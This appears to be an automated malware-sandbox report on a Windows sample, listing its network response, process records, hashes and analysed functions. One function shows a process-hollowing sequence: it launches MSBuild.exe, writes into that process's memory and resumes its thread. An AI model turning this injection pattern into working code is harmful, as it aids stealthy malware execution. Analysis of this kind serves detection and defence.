2024-11-24 12:28:49 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvmq144lok9iuh6hpguovdbfhm; expires=Thu, 20-Mar-2025 06:15:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8gSjHE%2FXepjHLmUqco%2BMhtMBZGk0TgQO5ewiA%2FvdKVU0q3jP%2BUSX4ieo8tgfoNAbMnC1immuDetJGna85SexQzikx79h5AsSW8wo%2BHahJnMNJSUAp5VicUvWZRDmV5Nkog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7966a3c9111895-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=979&delivery_rate=1690793&cwnd=185&unsent_bytes=0&cid=2254f615e9d1cc2d&ts=730&x=0"
2024-11-24 12:28:49 UTC	54	IN	Data Raw: 33 30 0d 0a 4e 38 6c 47 6e 38 57 2b 6d 33 4b 63 4f 4e 6f 45 6a 4e 57 47 6d 69 53 37 44 61 38 36 63 64 64 4c 77 44 66 37 4c 6d 46 6b 32 39 56 73 6c 41 3d 3d 0d 0a Data Ascii: 30N8lGn8W+m3KcONoEjNWGmiS7Da86cddLwDf7LmFk29VslA==
2024-11-24 12:28:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:28:23
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa0000
File size:	513'536 bytes
MD5 hash:	7DC51C5014010A56BD8A33D256831A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:28:23
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:28:24
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa0000
File size:	513'536 bytes
MD5 hash:	7DC51C5014010A56BD8A33D256831A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	4.2%
Total number of Nodes:	1659
Total number of Limit Nodes:	23

Executed Functions

Function 000D018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,000D00FF,000D00EF), ref: 000D0323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 000D0336
Wow64GetThreadContext.KERNEL32(00000130,00000000), ref: 000D0354
ReadProcessMemory.KERNELBASE(00000134,?,000D0143,00000004,00000000), ref: 000D0378
VirtualAllocEx.KERNELBASE(00000134,?,?,00003000,00000040), ref: 000D03A3
WriteProcessMemory.KERNELBASE(00000134,00000000,?,?,00000000,?), ref: 000D03FB
WriteProcessMemory.KERNELBASE(00000134,00400000,?,?,00000000,?,00000028), ref: 000D0446
WriteProcessMemory.KERNELBASE(00000134,?,?,00000004,00000000), ref: 000D0484
Wow64SetThreadContext.KERNEL32(00000130,02D60000), ref: 000D04C0
ResumeThread.KERNELBASE(00000130), ref: 000D04CF

Strings

ResumeThread, xrefs: 000D02C7
GetThreadContext, xrefs: 000D0265
Load, xrefs: 000D01C9
GetP, xrefs: 000D020D
WriteProcessMemory, xrefs: 000D029E
CreateProcessW, xrefs: 000D023F
TerminateProcess, xrefs: 000D03B2
VirtualAlloc, xrefs: 000D0252
SetThreadContext, xrefs: 000D02B1
ReadProcessMemory, xrefs: 000D0278
ress, xrefs: 000D0215
VirtualAllocEx, xrefs: 000D028B
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 000D0322
aryA, xrefs: 000D01D1

Memory Dump Source

Source File: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 33d964689b90ea34fd4c48bf350b829f22ff7dce79c2b86ad882b2fabb67c207
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 4CB1097660164AAFDB60CF68CC80BDA73A5FF88714F158515EA0CAB341D770FA51CBA4

Function 000AA050 Relevance: 13.9, APIs: 6, Strings: 1, Instructions: 1601
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 000AA0B4
CloseHandle.KERNEL32 ref: 000AA23C

Strings

(&#b, xrefs: 000AA1DE

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: (&#b
API String ID: 3498533004-1696011658
Opcode ID: 0be797dbd31db4326abeb66adeff9d4da849028b53194d647b844c119732d7d2
Instruction ID: 073af5b64baf14b8e9382ebdca82268ac01379267de09354dc43cc0be6785d23
Opcode Fuzzy Hash: 0be797dbd31db4326abeb66adeff9d4da849028b53194d647b844c119732d7d2
Instruction Fuzzy Hash: 16B27976A546944FEF014AB884B93DF6FF24B6B330F2A6756C6A05F2D3D50B000ADB54

Function 000A8190 Relevance: 2.8, Strings: 1, Instructions: 1555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

70VZ, xrefs: 000A8679

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID: 70VZ
API String ID: 0-260880556
Opcode ID: bb3c5f75ca352ec822c96cd5c97836f4e5b85f6aaca70610a3f0e33448f159b1
Instruction ID: ee4d7631d0171838a4a843cc62d889131597972c2c996d899e93aff86c01b0b5
Opcode Fuzzy Hash: bb3c5f75ca352ec822c96cd5c97836f4e5b85f6aaca70610a3f0e33448f159b1
Instruction Fuzzy Hash: 4EF221B1E155188BDB68CF29CC957A9B7B2AFC9320F1583DDA12E672D4CB305E818F44

Function 000ADD90 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e59e558455958201d47abeef7661d93e132f0b61a3d1644ef0153e29dd90ba33
Instruction ID: 8854755d6ab980847bcb9fc8dfe19ec5692bd5f94179c17a4f0e71a2d0cfce09
Opcode Fuzzy Hash: e59e558455958201d47abeef7661d93e132f0b61a3d1644ef0153e29dd90ba33
Instruction Fuzzy Hash: 2101C4749143188FCB14DF68D885BD9F7F4EB18310F4585AAA88897351EB78AA84CF81

Function 000BEDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,D4CEDC35,?,000BEF02,?,?,00000000), ref: 000BEEB4

Strings

ext-ms-, xrefs: 000BEE5E
api-ms-, xrefs: 000BEE4A

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9d3f69c1b82c33ecf47b85e70cca97b18222e59bb337a783388b55faf7aaf516
Instruction ID: 41065397bc01bb1aac882ee5d762f3d06de099040836a1d534ef3e1b8d6f6154
Opcode Fuzzy Hash: 9d3f69c1b82c33ecf47b85e70cca97b18222e59bb337a783388b55faf7aaf516
Instruction Fuzzy Hash: A4210331A01291ABDB219B60DC85FDE37A9AF417B0F250125FD26AB2D1DB34ED01C6E0

Function 000BBD06 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0001BE20,00000000,?,?), ref: 000BBD4F
GetLastError.KERNEL32(?,00000000,00000000,?,000B6EAA), ref: 000BBD5B
__dosmaperr.LIBCMT ref: 000BBD62

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: e76b35157acd5d77734543ada3b8650d109f5fd5828fcd7466ed1e6288bf2526
Instruction ID: 3253e057572cc8ea4428a5e3b1b2b65ed3a8a9834198452857cfc168740dd82c
Opcode Fuzzy Hash: e76b35157acd5d77734543ada3b8650d109f5fd5828fcd7466ed1e6288bf2526
Instruction Fuzzy Hash: A6018472900249EFDF15AFA0DC05FEE3BA9EF00365F004158F801961A1EBB9DE50DB90

Function 000BC00F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,000BC0D1,000BD3C0,000BD3C0,?,00000002,D4CEDC35,000BD3C0,00000002), ref: 000BC020
TerminateProcess.KERNEL32(00000000,?,000BC0D1,000BD3C0,000BD3C0,?,00000002,D4CEDC35,000BD3C0,00000002), ref: 000BC027
ExitProcess.KERNEL32 ref: 000BC039

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1ffa4394c3c81d7c662072c9257fd11a250074d5c97bb7fde78059533bd0c13c
Instruction ID: 9f9eab3692632623d3567696d3e4a415d8168c20773438645fe63b304676894e
Opcode Fuzzy Hash: 1ffa4394c3c81d7c662072c9257fd11a250074d5c97bb7fde78059533bd0c13c
Instruction Fuzzy Hash: 3ED06C31000289BBEB152FA1DC0DCED3F6AAB48351B148020B9094A032CF79EA96DA90

Function 000BF752 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,000BF641,000CF088,0000000C), ref: 000BF79E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,000BF641,000CF088,0000000C), ref: 000BF7B0

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 82877abbf5f5a3aa634f01befb0f27bc36e3cfd492d705716bc4965a118a68c4
Instruction ID: 690a8632cc299feb5c5f0e525b0f59663444ed7782d0b615bc0a295f259d1113
Opcode Fuzzy Hash: 82877abbf5f5a3aa634f01befb0f27bc36e3cfd492d705716bc4965a118a68c4
Instruction Fuzzy Hash: B411B4715487834ADB708E3ECCC86B6BAD4AB56330B3807BAD4B6875F1CA74D886D241

Function 000BBE20 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(000CED20,0000000C), ref: 000BBE33
ExitThread.KERNEL32 ref: 000BBE3A

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 0cbfdd12f96039ccc23742b4792f44eedf159d29605d792bd406ca58eec78c8c
Instruction ID: 396fcb2cccc28574cc44521a348bfd31862101ed0c766d7e1f94807db3b2caec
Opcode Fuzzy Hash: 0cbfdd12f96039ccc23742b4792f44eedf159d29605d792bd406ca58eec78c8c
Instruction Fuzzy Hash: 68F04F71A40245AFEB04BBB0C80AFEE7B64EF40710F104559F515972A3DB78AA01CBA1

Function 000C00EB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,000C0C59,?,00000000,?,?,000C0B75,?,00000007,?,?,000C118E,?,?), ref: 000C0101
GetLastError.KERNEL32(?,?,000C0C59,?,00000000,?,?,000C0B75,?,00000007,?,?,000C118E,?,?), ref: 000C010C

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 19d32e5c7b955b3f75054d4134df8b638eb6334870208c1751d7dbe3259389f8
Instruction ID: 5ab8e9144d20a8338d0dcc1d42187296b9617b6dfb0303cfcf15cdbb7b576588
Opcode Fuzzy Hash: 19d32e5c7b955b3f75054d4134df8b638eb6334870208c1751d7dbe3259389f8
Instruction Fuzzy Hash: F7E08C32604284EBEB192BA4FC09FDD7B9CEB04791F040028FA0886062CB389940CBD5

Function 000B6E20 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 000B6F55

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: f04658a67787eca60452531120e44ed5748cde4ac7cc51f3eba6ce6b7ef79609
Instruction ID: faefa5f67290aa0a08ece583d05e65810b528f6e12dff3424728065662f89377
Opcode Fuzzy Hash: f04658a67787eca60452531120e44ed5748cde4ac7cc51f3eba6ce6b7ef79609
Instruction Fuzzy Hash: 9B31F6B0D0420ADFCB04DFA8D590AEEBBF4BF48300F50896AE465A7351DB399A04CF55

Function 000BEEBE Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0e9565df19aedcd6ae7517596cdeb95e090d820cf4e172ad3bcbebeda09ad4
Instruction ID: 4bd203632abec1eec3a3fa65ea51842419698bb9ad23103a11c37fa1786d3475
Opcode Fuzzy Hash: ec0e9565df19aedcd6ae7517596cdeb95e090d820cf4e172ad3bcbebeda09ad4
Instruction Fuzzy Hash: 5E01F5336102679FEB128F6CEC40AEB37A6FB84320B240125FD14CB159EB34D8009BE4

Function 000ADE10 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 000ADE79

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: 6200eece84a01bcaa08ae289ab51d06465fc08ccd779369f5c4d672d766bf6eb
Instruction ID: 9563f4c6dda63c8fee8abf81bd8deff0d199584398898338f1ab130474909ebb
Opcode Fuzzy Hash: 6200eece84a01bcaa08ae289ab51d06465fc08ccd779369f5c4d672d766bf6eb
Instruction Fuzzy Hash: 1A11E5B4D003099BDB04EFA8C5557EEBBF1FF48304F40891AD855AB341EB78A604CB91

Function 000C0C65 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,-A3400188,?,000B9200,?,?,000B67E7,?,000B6199), ref: 000C0C97

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bc15ef30a81f871f49db2110121c587180b56ffb25ad5142b127c91abec8a1bb
Instruction ID: 2c4455df72a0cd710b1212552fad3b1abcf41a72c070ab99dc9e3abe99526eb1
Opcode Fuzzy Hash: bc15ef30a81f871f49db2110121c587180b56ffb25ad5142b127c91abec8a1bb
Instruction Fuzzy Hash: 64E0E531209624EAE7212766EC51FDE7688DB417A0F140319BC509A0D1CB24CC00C5E4

Non-executed Functions

Function 000B9CC2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000B9CD6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 000B9CE4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 000B9CF5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 000B9D06
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 000B9D17
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 000B9D28
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 000B9D39
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 000B9D4A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 000B9D5B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 000B9D6C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 000B9D7D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 000B9D8E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 000B9D9F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 000B9DB0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 000B9DC1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 000B9DD2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 000B9DE3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 000B9DF4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 000B9E05
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 000B9E16
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 000B9E27
